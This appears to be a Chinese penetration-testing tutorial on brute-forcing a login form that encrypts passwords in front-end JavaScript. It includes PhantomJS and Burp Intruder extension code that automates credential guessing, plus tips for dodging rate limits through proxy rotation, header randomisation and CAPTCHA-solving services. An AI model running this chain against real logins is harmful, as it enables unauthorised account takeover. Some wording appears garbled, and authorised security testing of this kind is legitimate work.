首页 / 资讯中心 / 文章详情

前端JS加密登录的逆向分析与Burp暴力破解实战

前端JS加密登录的逆向分析与Burp暴力破解实战 ★ FEATURED ARTICLE
1. 项目背景与核心挑战最近在安全测试工作中遇到一个典型的登录场景前端使用JavaScript对密码进行加密后再传输传统的暴力破解手段直接失效。这种防护方式在近年来越发常见特别是在金融、电商等对安全性要求较高的系统中。面对这种JS加密的登录框常规的Burp Suite暴力破解模块无法直接使用需要先解决加密算法的逆向问题。这个案例中的登录流程是这样的用户在表单输入账号密码后前端JS会调用加密函数处理密码字段生成一段密文然后以POST方式提交到/login接口。服务器收到密文后直接解密验证整个过程明文密码从未出现在网络传输中。2. 技术方案选型与工具链搭建2.1 核心工具选择经过多次实践对比我最终确定的工具组合是Burp Suite Professional作为主攻平台负责抓包、重放和暴力破解PhantomJS无头浏览器环境用于执行前端加密JSPython脚本桥接Burp与PhantomJS的中间件Chrome开发者工具用于静态分析前端加密逻辑特别注意Burp需要配置上游代理和证书确保能拦截HTTPS流量。建议使用PortSwigger官方提供的CA证书。2.2 加密逻辑逆向实战首先用Chrome打开目标登录页在Sources面板找到核心加密函数。常见的位置包括主入口JS文件如main.js、app.js单独的安全模块如security.jsWebpack打包后的chunk文件找到的加密函数通常长这样function encrypt(password) { var key CryptoJS.enc.Utf8.parse(16位密钥); var iv CryptoJS.enc.Utf8.parse(16位偏移量); return CryptoJS.AES.encrypt(password, key, {iv: iv}).toString(); }3. 完整攻击链路实现3.1 PhantomJS执行环境搭建编写phantomjs_executor.jsvar page require(webpage).create(); var system require(system); page.onConsoleMessage function(msg) { console.log(msg); }; page.open(about:blank, function(status) { if (status ! success) { phantom.exit(1); } else { page.injectJs(target_encrypt.js); var result page.evaluate(function(password) { return encrypt(password); }, system.args[1]); console.log(result); phantom.exit(); } });测试执行phantomjs phantomjs_executor.js test1233.2 Burp扩展开发使用Python编写bridging.pyfrom burp import IBurpExtender, IIntruderPayloadProcessor import subprocess class BurpExtender(IBurpExtender, IIntruderPayloadProcessor): def registerExtenderCallbacks(self, callbacks): self._callbacks callbacks self._helpers callbacks.getHelpers() callbacks.registerIntruderPayloadProcessor(self) return def getProcessorName(self): return JS Encrypt Processor def processPayload(self, currentPayload, originalPayload, baseValue): payload self._helpers.bytesToString(currentPayload) try: proc subprocess.Popen([phantomjs, phantomjs_executor.js, payload], stdoutsubprocess.PIPE) output proc.communicate()[0].strip() return self._helpers.stringToBytes(output) except: return currentPayload3.3 暴力破解配置要点在Burp的Intruder模块中攻击类型选择Sniper在Payloads标签页添加字典文件在Payload Processing中添加我们开发的处理器关键参数设置线程数建议控制在5-10避免触发防护添加随机延迟300-1000ms设置失败重试机制4. 对抗防护机制的技巧4.1 绕过频率限制IP轮换配合代理池使用请求指纹混淆随机化User-Agent、HTTP头顺序验证码处理对接打码平台或OCR识别4.2 加密参数动态化处理当遇到每次加密结果不同时如包含时间戳需要逆向分析salt生成逻辑修改PhantomJS脚本实现动态参数在Burp中配置Payload Processing链示例动态加密脚本function getDynamicEncrypt(password) { var timestamp Math.floor(Date.now()/1000); var dynamicKey generateKey(timestamp); return { cipher: aesEncrypt(password, dynamicKey), timestamp: timestamp }; }5. 实战中的经验总结加密函数定位技巧在Chrome中搜索关键词encrypt、CryptoJS、AES拦截登录请求查看调用栈Call Stack关注network中单独加载的安全模块性能优化方案将高频调用的JS函数提取为单独文件使用Node.js替代PhantomJS性能提升5-8倍实现本地缓存机制避免重复加密相同密码法律风险规避必须获得书面授权才能进行测试控制测试时间在业务低峰期使用测试账号而非真实用户数据这套方案在最近一次金融行业渗透测试中成功破解了采用SHA3ASE双层加密的登录系统。整个过程耗时约36小时测试字典包含8万条常见密码最终通过密码喷洒Password Spraying技术发现存在弱密码的管理账号。
阅读完成 · 觉得有帮助?
咨询建站